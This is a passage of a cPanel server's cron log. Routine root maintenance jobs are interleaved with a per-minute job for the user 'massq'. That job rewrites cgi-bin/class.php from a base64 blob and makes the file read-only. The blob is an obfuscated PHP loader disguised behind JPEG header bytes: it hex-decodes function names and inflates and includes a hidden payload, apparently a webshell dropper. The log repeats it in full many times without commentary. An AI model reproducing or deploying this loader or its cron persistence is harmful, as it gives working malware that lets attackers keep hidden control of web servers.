vFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:07:01 server CROND[32705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:07:01 server CROND[32706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:07:01 server CROND[32707]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:08:01 server CROND[643]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:08:01 server CROND[644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:08:01 server CROND[646]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:09:01 server CROND[1107]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:09:01 server CROND[1109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:09:01 server CROND[1108]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 18:09:01 server CROND[1110]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:10:01 server CROND[1534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:10:01 server CROND[1535]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 18:10:01 server CROND[1538]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 18:10:01 server CROND[1541]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:10:01 server CROND[1542]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 18:10:01 server CROND[1543]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:10:01 server CROND[1547]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 18:10:01 server CROND[1548]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 18:11:01 server CROND[2420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:11:01 server CROND[2421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:11:01 server CROND[2422]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:12:01 server CROND[2934]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:12:01 server CROND[2935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:12:01 server CROND[2937]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 18:12:01 server CROND[2936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:13:01 server CROND[3310]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:13:01 server CROND[3311]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:13:01 server CROND[3312]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:14:01 server CROND[3680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:14:01 server CROND[3681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:14:01 server CROND[3682]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:15:01 server CROND[4068]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 18:15:01 server CROND[4070]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:15:01 server CROND[4071]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:15:01 server CROND[4082]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:15:01 server CROND[4078]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  2 18:15:01 server CROND[4080]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  2 18:15:01 server CROND[4079]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 18:15:01 server CROND[4081]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 18:15:01 server CROND[4083]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 18:15:01 server CROND[4084]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 18:16:01 server CROND[5012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:16:01 server CROND[5013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:16:01 server CROND[5014]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:17:01 server CROND[5458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:17:01 server CROND[5459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:17:01 server CROND[5460]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:18:01 server CROND[5866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 18:18:01 server CROND[5865]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 18:18:01 server CROND[5867]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 18:19:01 server CROND[6234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
